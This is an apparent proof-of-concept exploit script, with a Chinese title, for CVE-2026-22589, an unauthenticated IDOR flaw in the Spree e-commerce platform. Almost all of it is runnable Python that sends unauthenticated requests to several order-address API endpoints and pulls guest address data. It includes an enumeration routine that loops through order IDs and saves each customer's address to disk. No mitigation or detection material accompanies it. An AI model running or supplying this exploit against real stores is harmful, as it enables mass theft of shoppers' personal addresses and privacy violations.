CVE-2026-22589 Spree电商平台未认证IDOR漏洞可泄露访客地址

# CVE-2026-22589 PoC - Spree IDOR Vulnerability # Description: Unauthenticated IDOR allows access to guest address information # Affected: Spree < 4.10.2, 5.0.7, 5.1.9, 5.2.5 import requests import sys def exploit_spre_idor(target_url, order_id): """ Exploit IDOR vulnerability in Spree e-commerce platform to retrieve guest address information without authentication. Args: target_url: Base URL of the vulnerable Spree application order_id: Valid order ID (can be guessed or enumerated) Returns: dict: Address information if successful, None otherwise """ # Try multiple endpoint patterns for address retrieval endpoints = [ f"{target_url}/api/orders/{order_id}/addresses", f"{target_url}/api/v2/orders/{order_id}/addresses", f"{target_url}/api/addresses?order_id={order_id}" ] for endpoint in endpoints: try: # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved address from: {endpoint}") print(f"[+] Response: {data}") return data elif response.status_code == 401: print(f"[-] Endpoint requires authentication: {endpoint}") else: print(f"[-] Unexpected status code {response.status_code} from: {endpoint}") except requests.RequestException as e: print(f"[-] Request failed for {endpoint}: {e}") return None def enumerate_addresses(target_url, start_id=1, end_id=1000): """ Enumerate and extract all accessible guest addresses by iterating through order/address IDs. Args: target_url: Base URL of the vulnerable Spree application start_id: Starting ID for enumeration end_id: Ending ID for enumeration """ print(f"[*] Starting enumeration from ID {start_id} to {end_id}") for order_id in range(start_id, end_id + 1): result = exploit_spre_idor(target_url, order_id) if result: print(f"[!] Found address data for Order ID {order_id}") # Save to file for later analysis with open(f"addresses_{order_id}.json", "w") as f: f.write(str(result)) print("[*] Enumeration complete") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-22589_poc.py <target_url> <order_id>") print("Example: python cve-2026-22589_poc.py https://shop.example.com 12345") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Order ID: {order_id}") result = exploit_spre_idor(target, order_id) if result: print("[+] Exploitation successful!") else: print("[-] Exploitation failed - target may not be vulnerable")